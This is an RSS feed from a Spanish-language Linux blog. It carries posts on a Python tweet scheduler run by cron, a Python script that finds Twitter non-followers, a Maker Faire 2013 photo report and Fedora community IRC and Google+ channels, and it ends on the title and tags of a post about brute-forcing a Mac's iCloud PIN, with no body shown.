<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>orvtech: Linux, Android, BASH Scripts, y Fedora</title>
	<atom:link href="http://orvtech.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://orvtech.com</link>
	<description>Blog de referencia para apasionados del software libre, sistemas embebidos y todo lo que tenga que ver con shell scripting</description>
	<lastBuildDate>Sat, 15 Jun 2013 06:35:37 +0000</lastBuildDate>
	<language>es-ES</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Programador de tweets hecho en python</title>
		<link>http://orvtech.com/howto/planificador-tweets-python/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=planificador-tweets-python</link>
		<comments>http://orvtech.com/howto/planificador-tweets-python/#comments</comments>
		<pubDate>Sat, 15 Jun 2013 06:35:37 +0000</pubDate>
		<dc:creator>orvtech</dc:creator>
				<category><![CDATA[HowTo]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Proyecto Fedora]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[Scripts]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://orvtech.com/?p=6928</guid>
		<description><![CDATA[Con la ayuda de cron y python podemos pre-programar el envío de tweets sin que estos se repitan y llevar un registro de los que se han enviado<p><a href="http://orvtech.com/howto/planificador-tweets-python/">Programador de tweets hecho en python</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></description>
				<content:encoded><![CDATA[<p>Con la ayuda de cron y python podemos pre-programar el envío de tweets sin que estos se repitan y llevar un registro de los que se han enviado. Este corto script hecho en python es mi segunda aventura con este lenguaje que poco a poco me esta enamorando.</p>
<p>La lógica es simple, leo un archivo que contiene un tweet por linea, actualizo mi estado en twitter con el contenido de esa linea, registro los resultados en un archivo y por ultimo elimino esa linea del archivo evitando así repetir el mismo tweet. Veamos el código fuente:</p>
<pre class="brush: python; title: scheduler.py; notranslate">#!/usr/bin/python
import twitter
import datetime

now = datetime.datetime.now()

with open('/scheduler/lista.txt', 'r') as f:
	first_line = f.readline()
	first_line = first_line.strip('\n')
	print first_line
f.close()

logfile = open('/scheduler/procesados.txt','a')
fecha=now.strftime(&quot;%Y-%m-%d_%H:%M:%S&quot;)
logfile.write(fecha + ' ' + first_line + '\n') # python will convert \n to os.linesep
logfile.close()

#Send Tweet
api = twitter.Api(consumer_key='&lt;YOUR CONSUMER KEY&gt;',
                      consumer_secret='&lt;YOUR CONSUMER SECRET&gt;',
                      access_token_key='&lt;YOUR ACCESS TOKEN KEY&gt;',
                      access_token_secret='&lt;YOUR ACCESS TOKEN SECRET&gt;')

status = api.PostUpdate(first_line)
print status.text

#removing status from queue
lines = open('/scheduler/lista.txt').readlines()
open('/scheduler/lista.txt', 'w').writelines(lines[1:])
</pre>
<p>&nbsp;</p>
<h3>Alimentando el script.</h3>
<p>Como vieron en el código fuente, solo necesitamos proporcionarle el archivo lista.txt donde cada tweet dependiendo del tipo tiene limitaciones de longitud distintas. Si no posee un hyper vinculo el limite es de 117 caracteres excluyendo la URL mientras que si no tiene un hiper vinculo el limite es de 140 caracteres. El archivo <code>/scheduler/lista.txt</code> se vería algo así:</p>
<pre class="brush: plain; title: lista.txt; notranslate">
Just ran out of bacon, feel like the room seems to be shrinking, please help! send some bacon &amp; while U are there a beer would be cool too
Programador de tweets hecho en python http://orvtech.com/howto/planificador-tweets-python/
...
</pre>
<p>&nbsp;</p>
<h3>Automatizando el envío de tweets.</h3>
<p>Leí un poco y se que se puede hacer un demonio y dejar que python se encargue de esto pero para comenzar decidí hacerlo usando cron. Me decidí a tuitear dos veces por día entre semana mientras que los fines de semana solo una vez. Mi crontab se ve así:</p>
<pre class="brush: plain; title: crontab; notranslate">
15 15  *   *   0,6  /usr/bin/python /scheduler/reader.py &gt;&gt; /scheduler/reader.log 2&gt;&amp;1
14  6  *   *   1-5  /usr/bin/python /scheduler/reader.py &gt;&gt; /scheduler/reader.log 2&gt;&amp;1
11 20  *   *   1-5  /usr/bin/python /scheduler/reader.py &gt;&gt; /scheduler/reader.log 2&gt;&amp;1
</pre>
<p><a href="http://orvtech.com/howto/planificador-tweets-python/">Programador de tweets hecho en python</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orvtech.com/howto/planificador-tweets-python/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Averigua quien no te sigue en twitter con la ayuda de Python</title>
		<link>http://orvtech.com/howto/lista-unfollowers-twitter-python/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=lista-unfollowers-twitter-python</link>
		<comments>http://orvtech.com/howto/lista-unfollowers-twitter-python/#comments</comments>
		<pubDate>Sun, 02 Jun 2013 10:52:34 +0000</pubDate>
		<dc:creator>orvtech</dc:creator>
				<category><![CDATA[HowTo]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://orvtech.com/?p=6896</guid>
		<description><![CDATA[Programa en Python que compara tu lista de seguidores con tu lista de amigos para obtener una lista de las personas que tu sigues pero no te siguen.<p><a href="http://orvtech.com/howto/lista-unfollowers-twitter-python/">Averigua quien no te sigue en twitter con la ayuda de Python</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></description>
				<content:encoded><![CDATA[<p>Después de varios años decidí iniciarme en el mundo de Python y jugar un poco con el API de twitter así que decidí hacer un programa en Python que compara tu lista de seguidores con tu lista de amigos para obtener una lista de las personas que tu sigues pero no te siguen. </p>
<p>Como era mi primer intento decidí usar python-twitter que por lo que leí era la mas sencilla de usar. Para instalar este paquete de python pueden ejecutar:</p>
<pre class="brush: bash; title: ; notranslate">pip install python-twitter</pre>
<p>El programa para listar unfollowers es este:</p>
<pre class="brush: python; title: ; notranslate">
#!/usr/bin/python
import twitter

#Prepare the needed date for twitter's oauth
api = twitter.Api(consumer_key='&lt;YOUR_CONSUMER_KEY_HERE&gt;',
                  consumer_secret='&lt;YOUR_CONSUMER_KEY_HERE&gt;',
                  access_token_key='&lt;YOUR_TOKEN_KEY_HERE&gt;',
                  access_token_secret='&lt;YOUR_TOKEN_SECRET_HERE&gt;')

#Get followers by handle
followers = api.GetFollowers()
seguidores =[]
for u in followers:
		seguidores.append(u.screen_name)

#Get friends by handle
friends = api.GetFriends()
siguiendo =[]
for f in friends:
                siguiendo.append(f.screen_name)

#Get the list of people that you follow that but that are not in the followers list
unfollowers = list(set(siguiendo) - set(seguidores))
count_uncool = len(unfollowers)
print &quot;Total friends not following you: &quot; + str(count_uncool)
for uncool in unfollowers:
	print uncool + &quot; &quot; + &quot;https://twitter.com/&quot; + uncool</pre>
<p>Como ven para poder ejecutar este programa y ver sus unfollowers deberán obtener una serie de datos de <a href="https://dev.twitter.com/apps/new" title="dev.twitter.com" rel="nofollow external">dev.twitter.com</a> para autentificar su programa contra oauth. El producto de este programa se vera algo similar a esto:<br />
<tt>Total friends not following you: 61<br />
planetfedora https://twitter.com/planetfedora<br />
twitter https://twitter.com/twitter<br />
TwitterEng https://twitter.com/TwitterEng<br />
twittercomms https://twitter.com/twittercomms<br />
twitterapi https://twitter.com/twitterapi<br />
fedora https://twitter.com/fedora<br />
make https://twitter.com/make<br />
dickc https://twitter.com/dickc<br />
TwitterIO https://twitter.com/TwitterIO<br />
TwitterSF https://twitter.com/TwitterSF<br />
safety https://twitter.com/safety</tt></p>
<p>Por ahora lo que quiero es exportarlo a una aplicacion web, si tienen sugerencias me las pueden dejar en los comentarios, me gustaría un poco de orientación de como hacer de este programa una aplicacion web. </p>
<p>&nbsp;</p>
<p><a href="http://orvtech.com/howto/lista-unfollowers-twitter-python/">Averigua quien no te sigue en twitter con la ayuda de Python</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orvtech.com/howto/lista-unfollowers-twitter-python/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Maker Faire 2013 del área de la bahía</title>
		<link>http://orvtech.com/general/maker-faire-2013-bayarea/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=maker-faire-2013-bayarea</link>
		<comments>http://orvtech.com/general/maker-faire-2013-bayarea/#comments</comments>
		<pubDate>Thu, 23 May 2013 16:08:24 +0000</pubDate>
		<dc:creator>orvtech</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Hardware Libre]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://orvtech.com/?p=6839</guid>
		<description><![CDATA[Entre hackers artistas plásticos, innovadores y activistas del hágalo usted mismo (DIY) con mucho open source hardware e ingenio<p><a href="http://orvtech.com/general/maker-faire-2013-bayarea/">Maker Faire 2013 del área de la bahía</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></description>
				<content:encoded><![CDATA[<p>Este fin de semana se llevo a cabo la Maker Faire del 2013, fueron dos días llenos de hacking, manualidades, electrónica y DIY (hágalo usted mismo) en general y tal como en mi articulo anterior sobre el <a href="http://orvtech.com/general/east-bay-mini-maker-faire-2012/" title="Mini feria Maker del este de la bahía">Mini Maker Faire</a>, este post sera mas que todo sobre las foto que tome.</p>
<p>A diferencia del evento anterior este fue mucho mas grande y con mucha mas gente&#8230; mas de lo que quisiera la verdad, por eso la poca cantidad de fotos. Comencemos con el vídeo de Arc Attack, un grupo de Heavy Metal que combinan alto voltaje y buena música incluyendo temas de Star Wars.<br />
<iframe width="614" height="345" src="http://www.youtube.com/embed/U8nlWS9eKkc" frameborder="0" allowfullscreen></iframe></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Ahora las pocas fotos que pude tomar:</p>
<p><a href="https://lh6.googleusercontent.com/-LbgfZpJ-tQY/UZ0BYMUc5ZI/AAAAAAAAgpg/WZbeJs7zFFQ/s1600/20130519_125508.jpg" type=image/jpeg><img src="https://lh6.googleusercontent.com/-LbgfZpJ-tQY/UZ0BYMUc5ZI/AAAAAAAAgpg/WZbeJs7zFFQ/s614-c/20130519_125508.jpg" width="614" height="614" alt="Un kiosco que te enseña a construir tu propia celda solar"/><br /></a><br />
Un kiosco que te enseña a construir tu propia celda solar.</p>
<p>&nbsp;</p>
<p><a href="https://lh5.googleusercontent.com/-FnHpFl6lMWM/UZ0BYHJHo9I/AAAAAAAAgpg/5eIDVRHAqjo/s1600/20130519_130212.jpg" type=image/jpeg><img src="https://lh5.googleusercontent.com/-FnHpFl6lMWM/UZ0BYHJHo9I/AAAAAAAAgpg/5eIDVRHAqjo/s614-c/20130519_130212.jpg" width="614" height="614" alt="Tanques de guerra que disparan lasers. Cada tanque tiene sensores que alertan cuando el laser les da"/><br /></a><br />
Tanques de guerra que disparan lasers. Cada tanque tiene sensores que alertan cuando el laser les da.</p>
<p>&nbsp;</p>
<p><a href="https://lh3.googleusercontent.com/-d3kJgCO_h6g/UZ0BYIPtVqI/AAAAAAAAgpg/QbJDYzpDK5o/s1600/20130519_130233.jpg" type=image/jpeg><img src="https://lh3.googleusercontent.com/-d3kJgCO_h6g/UZ0BYIPtVqI/AAAAAAAAgpg/QbJDYzpDK5o/s614-c/20130519_130233.jpg" width="614" height="614" alt="Aquí el sensor que permite a estos tanques de control remoto jugar laser tag" /><br /></a><br />
Aquí el sensor que permite a estos tanques de control remoto jugar laser tag.</p>
<p>&nbsp;</p>
<p><a href="https://lh4.googleusercontent.com/-16-4zAhcvp8/UZ0BYOeygII/AAAAAAAAgpg/EIvygVyJBkY/s1600/20130519_132032.jpg" type=image/jpeg><img src="https://lh4.googleusercontent.com/-16-4zAhcvp8/UZ0BYOeygII/AAAAAAAAgpg/EIvygVyJBkY/s307-c/20130519_132032.jpg" width="307" height="307" alt="Delorean Hovercraft" /></a><a href="https://lh5.googleusercontent.com/-CiM9FNH82RY/UZ0BYBqzEYI/AAAAAAAAgpg/sxi5DfH_kT4/s1600/20130519_132048.jpg" type=image/jpeg><img src="https://lh5.googleusercontent.com/-CiM9FNH82RY/UZ0BYBqzEYI/AAAAAAAAgpg/sxi5DfH_kT4/s307-c/20130519_132048.jpg" width="307" height="307" alt="Delorean anfibio" /><br /></a></p>
<p>&nbsp;</p>
<p><a href="https://lh4.googleusercontent.com/-WdWsOJtaj_A/UZ0BYO2e74I/AAAAAAAAgpg/bwUrr5byvR4/s1600/20130519_133137.jpg" type=image/jpeg><img src="https://lh4.googleusercontent.com/-WdWsOJtaj_A/UZ0BYO2e74I/AAAAAAAAgpg/bwUrr5byvR4/s614-c/20130519_133137.jpg" width="614" height="614" alt="moto eléctrica"/><br /></a><br />
Moto (de trial?) eléctrica. </p>
<p>&nbsp;</p>
<p><a href="https://lh4.googleusercontent.com/-ULa2_BXcEOM/UZ0BYPkqoeI/AAAAAAAAgpk/zl3W3lqxo9E/s1600/20130519_133614.jpg" type=image/jpeg><img src="https://lh4.googleusercontent.com/-ULa2_BXcEOM/UZ0BYPkqoeI/AAAAAAAAgpk/zl3W3lqxo9E/s307-c/20130519_133614.jpg" width="307" height="307" alt="Esculturas interactivas con lanzallamas, las esculturas tenían varios pedales que permitían a la gente activar el lanzallamas" /></a><a href="https://lh5.googleusercontent.com/-RP6rVefEdPA/UZ0BYIqbetI/AAAAAAAAgpg/YJOOohDhOVo/s1600/20130519_133619.jpg" type=image/jpeg><img src="https://lh5.googleusercontent.com/-RP6rVefEdPA/UZ0BYIqbetI/AAAAAAAAgpg/YJOOohDhOVo/s307-c/20130519_133619.jpg" width="307" height="307" alt="las esculturas tenían varios pedales que permitían a la gente activar el lanzallamas" /><br /></a><br />
Esculturas interactivas con lanzallamas, las esculturas tenían varios pedales que permitían a la gente activar el lanzallamas.</p>
<p>&nbsp;</p>
<p><a href="https://lh4.googleusercontent.com/-5N9HplRKfEo/UZ0BYLaS0CI/AAAAAAAAgpk/4pvbYxpWmZc/s1600/20130519_133816.jpg" type=image/jpeg><img src="https://lh4.googleusercontent.com/-5N9HplRKfEo/UZ0BYLaS0CI/AAAAAAAAgpk/4pvbYxpWmZc/s307-c/20130519_133816.jpg" width="307" height="307" alt="El Nautilus terrestre, un vehículo completamente funcional que se paseaba por las distintas áreas de la feria" /></a><a href="https://lh4.googleusercontent.com/-BydBkL3GwEs/UZ0BYMhq0BI/AAAAAAAAgpg/NzsqGaTbQAk/s1600/20130519_134011.jpg" type=image/jpeg><img src="https://lh4.googleusercontent.com/-BydBkL3GwEs/UZ0BYMhq0BI/AAAAAAAAgpg/NzsqGaTbQAk/s307-c/20130519_134011.jpg" width="307" height="307" alt="El Nautilus terrestre" /><br /></a><a href="https://lh3.googleusercontent.com/-eP8jT_7qJ9c/UZ0BYPKN0xI/AAAAAAAAgpg/nJ1AuAfzn-I/s1600/20130519_133857.jpg" type=image/jpeg><img src="https://lh3.googleusercontent.com/-eP8jT_7qJ9c/UZ0BYPKN0xI/AAAAAAAAgpg/nJ1AuAfzn-I/s307-c/20130519_133857.jpg" width="307" height="307" alt="Vehículo completamente funcional que se paseaba por las distintas áreas de la feria"/></a><a href="https://lh3.googleusercontent.com/-yixVAEngE5s/UZ0BYEPRnQI/AAAAAAAAgpg/HCroWHFFKzk/s1600/20130519_133829.jpg" type=image/jpeg><img src="https://lh3.googleusercontent.com/-yixVAEngE5s/UZ0BYEPRnQI/AAAAAAAAgpg/HCroWHFFKzk/s307-c/20130519_133829.jpg" width="307" height="307" alt="El Nautilus DYI terrestre" /><br /></a><br />
El Nautilus terrestre, un vehículo completamente funcional que se paseaba por las distintas áreas de la feria.</p>
<p>&nbsp;</p>
<p><a href="https://lh6.googleusercontent.com/-ttpamQ8ItOw/UZ0BYCOYhLI/AAAAAAAAgpg/eXCW-EfYxpc/s1600/20130519_134326.jpg" type=image/jpeg><img src="https://lh6.googleusercontent.com/-ttpamQ8ItOw/UZ0BYCOYhLI/AAAAAAAAgpg/eXCW-EfYxpc/s614-c/20130519_134326.jpg" width="614" height="614" alt="La cabina de otro vehículo, esta vez era una serpiente o dragón. " /><br /></a><br />
La cabina de otro vehículo, esta vez era una serpiente o dragón. </p>
<p>&nbsp;</p>
<p><a href="https://lh6.googleusercontent.com/-PNsKSDkbSC0/UZ0BYAeIj0I/AAAAAAAAgpg/9i6TDUiEW0M/s1600/20130519_135726.jpg" type=image/jpeg><img src="https://lh6.googleusercontent.com/-PNsKSDkbSC0/UZ0BYAeIj0I/AAAAAAAAgpg/9i6TDUiEW0M/s614-c/20130519_135726.jpg" width="614" height="614" alt="Para donde vamos?"/><br /></a></p>
<p>&nbsp;</p>
<p><a href="https://lh5.googleusercontent.com/-rPDoY5OdXI4/UZ0BYMSnsaI/AAAAAAAAgpg/VCJtle6AsU4/s1600/20130519_144437.jpg" type=image/jpeg><img src="https://lh5.googleusercontent.com/-rPDoY5OdXI4/UZ0BYMSnsaI/AAAAAAAAgpg/VCJtle6AsU4/s614-c/20130519_144437.jpg" width="614" height="614" alt="El SparkTruck, un camion de helado modificado y equipado con todo lo que un geek necesita. Impresoras 3D, cortadoras laser, banco de trabajo para proyectos electrónicos, multimetros, etc. La principal función de este vehículo es ir de escuela en escuela o visitar distintas comunidades y enseñarle ala gente todo lo que se puede hacer, despertar el geek interno que todos llevamos por dentro" /><br /></a><a href="https://lh6.googleusercontent.com/-6oOVWA2Flik/UZ0BYGaYGGI/AAAAAAAAgpk/viHss106BRg/s1600/20130519_144445.jpg" type=image/jpeg><img src="https://lh6.googleusercontent.com/-6oOVWA2Flik/UZ0BYGaYGGI/AAAAAAAAgpk/viHss106BRg/s307-c/20130519_144445.jpg" width="307" height="307" alt="El SparkTruck, un camion de helado modificado y equipado con todo lo que un geek necesita. Impresoras 3D, cortadoras laser, banco de trabajo para proyectos electrónicos, multimetros, etc" /></a><a href="https://lh3.googleusercontent.com/-AioPmwUM_aw/UZ0BYEdRDCI/AAAAAAAAgpk/PrLpGeBdlNA/s1600/20130519_144500.jpg" type=image/jpeg><img src="https://lh3.googleusercontent.com/-AioPmwUM_aw/UZ0BYEdRDCI/AAAAAAAAgpk/PrLpGeBdlNA/s307-c/20130519_144500.jpg" width="307" height="307" alt="El SparkTruck, La principal función de este vehículo es ir de escuela en escuela o visitar distintas comunidades y enseñarle ala gente todo lo que se puede hacer, despertar el geek interno que todos llevamos por dentro" /><br /></a><br />
El SparkTruck, un camion de helado modificado y equipado con todo lo que un geek necesita. Impresoras 3D, cortadoras laser, banco de trabajo para proyectos electrónicos, multimetros, etc. La principal función de este vehículo es ir de escuela en escuela o visitar distintas comunidades y enseñarle ala gente todo lo que se puede hacer, despertar el geek interno que todos llevamos por dentro. </p>
<p>&nbsp;</p>
<p><a href="https://lh6.googleusercontent.com/-jLaNU-2rB_c/UZ0BYA741dI/AAAAAAAAgpk/s1ZHmZlkJl4/s1600/20130519_144853.jpg" type=image/jpeg><img src="https://lh6.googleusercontent.com/-jLaNU-2rB_c/UZ0BYA741dI/AAAAAAAAgpk/s1ZHmZlkJl4/s307-c/20130519_144853.jpg" width="307" height="307" alt="Disfraz, madre e hijo. Muy creativo, usan LED-Wire para acentuarlos en la oscuridad"/></a><a href="https://lh4.googleusercontent.com/-6zYBRd40p_0/UZ0BYHXe_oI/AAAAAAAAgpk/yZtxpONtug0/s1600/20130519_144908.jpg" type=image/jpeg><img src="https://lh4.googleusercontent.com/-6zYBRd40p_0/UZ0BYHXe_oI/AAAAAAAAgpk/yZtxpONtug0/s307-c/20130519_144908.jpg" width="307" height="307" alt="Disfraz, madre e hijo. Usan LED-Wire para acentuarlos en la oscuridad" /><br /></a><br />
Disfraz, madre e hijo. Muy creativo, usan LED-Wire para acentuarlos en la oscuridad. </p>
<p>&nbsp;</p>
<p><a href="https://lh6.googleusercontent.com/-PjWR7BMsFXo/UZ0BYLOgv-I/AAAAAAAAgpg/j9pOVqvrnDc/s1600/20130519_145404.jpg" type=image/jpeg><img src="https://lh6.googleusercontent.com/-PjWR7BMsFXo/UZ0BYLOgv-I/AAAAAAAAgpg/j9pOVqvrnDc/s614-c/20130519_145404.jpg" width="614" height="614" alt="bicicleta gigante"/><br /></a></p>
<p>&nbsp;</p>
<p><a href="https://lh5.googleusercontent.com/-eXcr3wo838Q/UZ0BYFIDCnI/AAAAAAAAgpg/GCJrIahJBNM/s1600/20130519_151203.jpg" type=image/jpeg><img src="https://lh5.googleusercontent.com/-eXcr3wo838Q/UZ0BYFIDCnI/AAAAAAAAgpg/GCJrIahJBNM/s614-c/20130519_151203.jpg" width="614" height="614" alt="Música en vivo, los instrumentos eléctricos, amplificadores, mezcladores, etc. Recibían electricidad generada por las bicicletas estáticas que se ven a los costados"/><br /></a><br />
Música en vivo, los instrumentos eléctricos, amplificadores, mezcladores, etc. Recibían electricidad generada por las bicicletas estáticas que se ven a los costados. </p>
<p>&nbsp;</p>
<p><a href="https://lh3.googleusercontent.com/-S0r-3zXw2xk/UZ0BYCKVC8I/AAAAAAAAgpg/lYZ_ib32HTk/s1600/20130519_151914.jpg" type=image/jpeg><img src="https://lh3.googleusercontent.com/-S0r-3zXw2xk/UZ0BYCKVC8I/AAAAAAAAgpg/lYZ_ib32HTk/s614-c/20130519_151914.jpg" width="614" height="614" alt="Talleres de robotica, la gente podía diseñar y ensamblar su propio robot y luego los controlaban desde una pantalla táctil en la laptop" /><br /></a><br />
Talleres de robotica, la gente podía diseñar y ensamblar su propio robot y luego los controlaban desde una pantalla táctil en la laptop.</p>
<p>&nbsp;</p>
<p><a href="https://lh3.googleusercontent.com/--RfaeHgwkQM/UZ0BYAUN_kI/AAAAAAAAgpg/m_m4jQcz8Jk/s1600/20130519_160504.jpg" type=image/jpeg><img src="https://lh3.googleusercontent.com/--RfaeHgwkQM/UZ0BYAUN_kI/AAAAAAAAgpg/m_m4jQcz8Jk/s307-c/20130519_160504.jpg" width="307" height="307" alt="Arc Attack, la banda del video que esta mas arriba" /></a><a href="https://lh4.googleusercontent.com/-E-af8fW_rfo/UZ0BYJ1qV9I/AAAAAAAAgpg/3AVMPhaVe6Y/s1600/20130519_164615-1.jpg" type=image/jpeg><img src="https://lh4.googleusercontent.com/-E-af8fW_rfo/UZ0BYJ1qV9I/AAAAAAAAgpg/3AVMPhaVe6Y/s307-c/20130519_164615-1.jpg" width="307" height="307" alt="Arc Attack, se fijaron quien es el baterista?" /><br /></a><br />
Arc Attack, la banda del video que esta mas arriba. Por cierto, se fijaron quien es el baterista?</p>
<p>&nbsp;</p>
<p><a href="https://lh4.googleusercontent.com/-1sL6NmKGQyQ/UZ0BYMfmzKI/AAAAAAAAgpg/sHLTWgothk0/s1600/20130519_173513.jpg" type=image/jpeg><img src="https://lh4.googleusercontent.com/-1sL6NmKGQyQ/UZ0BYMfmzKI/AAAAAAAAgpg/sHLTWgothk0/s614-c/20130519_173513.jpg" width="614" height="614" alt="Hexapod" /><br /></a><br />
Hexapod.</p>
<p>&nbsp;</p>
<p><a href="https://lh4.googleusercontent.com/-JDtJXjjZzCg/UZ0BYMN6gaI/AAAAAAAAgpg/gVkn3f23vO0/s1600/20130519_173945.jpg" type=image/jpeg><img src="https://lh4.googleusercontent.com/-JDtJXjjZzCg/UZ0BYMN6gaI/AAAAAAAAgpg/gVkn3f23vO0/s614-c/20130519_173945.jpg" width="614" height="614" /><br /></a></p>
<p>&nbsp;</p>
<p><a href="https://lh4.googleusercontent.com/-zg2cvsAhWU8/UZ0BYOu-HdI/AAAAAAAAgpk/uZ2_dcHSvBE/s1600/20130519_174351.jpg" type=image/jpeg><img src="https://lh4.googleusercontent.com/-zg2cvsAhWU8/UZ0BYOu-HdI/AAAAAAAAgpk/uZ2_dcHSvBE/s614-c/20130519_174351.jpg" width="614" height="614" alt="bicicleta de madera" /><br /></a></p>
<p>&nbsp;</p>
<p>Me hubiese gustado asistir los dos días del evento y ver cada sección con calma. Llegue a las 11am y salí a las 6PM aproximadamente y estoy seguro que me falto por ver dos tercios del evento, me falto por ver las secciones de autosostenibilidad, cursos de arduino, quadcopters y muchas otras. </p>
<p>Lo que si vi que le hizo falta a este evento fue un parque con juegos con agua para niños como en el evento de Oakland, hacia mucho calor y mi hijo solo se pudo divertir en el stand de Lego Mindstorm aparte de distraerse con el resto de la exhibición. </p>
<p><a href="http://orvtech.com/general/maker-faire-2013-bayarea/">Maker Faire 2013 del área de la bahía</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orvtech.com/general/maker-faire-2013-bayarea/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Proyecto Fedora ahora vía IRC y Google+</title>
		<link>http://orvtech.com/general/fedora-irc-google-fpaste/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=fedora-irc-google-fpaste</link>
		<comments>http://orvtech.com/general/fedora-irc-google-fpaste/#comments</comments>
		<pubDate>Thu, 28 Mar 2013 11:50:53 +0000</pubDate>
		<dc:creator>orvtech</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[irc]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Proyecto Fedora]]></category>
		<category><![CDATA[Videos]]></category>

		<guid isPermaLink="false">http://orvtech.com/?p=6785</guid>
		<description><![CDATA[La necesidad de separar #fedora-latam y #proyecto-fedora son una muestra clara del crecimiento de la comunidad hispana bajo el proyecto Fedora. Pincha aquí para ver un video que te muestra paso a paso como entrar al canal de IRC #proyecto-fedora, como usar fpaste y un vistazo rápido a la comunidad en Google+ <p><a href="http://orvtech.com/general/fedora-irc-google-fpaste/">Proyecto Fedora ahora vía IRC y Google+</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></description>
				<content:encoded><![CDATA[<p>En un esfuerzo para llegarle a la comunidad de software libre de habla hispana y captar nuevos usuarios el grupo de Fedora Ambassadors crearon <a href="https://plus.google.com/communities/103027051591113621787" rel="friend nofollow">el grupo Proyecto Fedora en google plus</a> y un nuevo canal de IRC.</p>
<p>El grupo de Google Plus esta orientado a captar esos usuarios que no se sienten cómodos con IRC o aquellos que deseen hacerlo desde su dispositivo móvil y es una buena opción si quieres estar al tanto de eventos y noticias de esta comunidad de software libre. </p>
<p>Por su parte el canal #proyecto-fedora nace para específicamente brindar soporte a usuarios de Fedora Linux via IRC dejando #fedora-latam principalmente para las labores del grupo de Fedora Ambassadors que fue su objetivo principal desde su inicio. </p>
<p>&nbsp;</p>
<h3>¿Que medio deberias de usar (IRC o Google+)?</h3>
<p>Esto depende de lo que quieras, si quieres conversar con miembros de la comunidad de forma interactiva sobre algún problema que tengas, es probable que el canal de IRC #proyecto-fedora sea lo mejor para ti pero debes recordar que en ocasiones se pueden tardar en responder y que las personas que brindan soporte son voluntarias que tienen otras responsabilidades (trabajo, familia, etc..). </p>
<p>Si prefieres algo como un foro donde compartes tu idea o propuesta y la gente te da su opinión del tema durante periodos de tiempo un poco mas largos tal vez Google+ sea mejor para ti. En cuanto a resolución de problemas, me aparece que si explicas de forma detallada tu pregunta o problema y no es algo urgente, estoy seguro que en pocas horas alguien te responderá. </p>
<p>&nbsp;</p>
<h3>¿Como me conecto al IRC?</h3>
<p>Es realmente sencillo, de hecho hice un video que aparte de mostrar como uno se conecta con el canal #proyecto-fedora te explica como usar fpaste y le da un vistazo al canal de Google + del Proyecto Fedora<br />
<iframe width="614" height="461" src="http://www.youtube.com/embed/VKLQTVqqBkc" frameborder="0" allowfullscreen></iframe></p>
<p>Si tienes mas dudas sobre el tema puedes leer mi articulo sobre IRC y fpaste específicamente: <a href="http://orvtech.com/howto/ayuda-irc-fpaste-para-fedora/" title="Video: Buscando ayuda via IRC y un poco de fpaste para Fedora">Video: Buscando ayuda via IRC y un poco de fpaste para Fedora</a>.</p>
<p>Recuerda conectarte al canal proyecto-fedora en vez de a fedora-latam e instalar fpaste. </p>
<p><a href="http://orvtech.com/general/fedora-irc-google-fpaste/">Proyecto Fedora ahora vía IRC y Google+</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orvtech.com/general/fedora-irc-google-fpaste/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ataque de fuerza bruta contra el bloqueo por PIN de iCloud a una Mac</title>
		<link>http://orvtech.com/howto/ataque-fuerza-bruta-pin-icloud/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ataque-fuerza-bruta-pin-icloud</link>
		<comments>http://orvtech.com/howto/ataque-fuerza-bruta-pin-icloud/#comments</comments>
		<pubDate>Thu, 14 Mar 2013 05:45:30 +0000</pubDate>
		<dc:creator>orvtech</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[Arduino]]></category>
		<category><![CDATA[Embebido]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OSX]]></category>
		<category><![CDATA[Teensy]]></category>

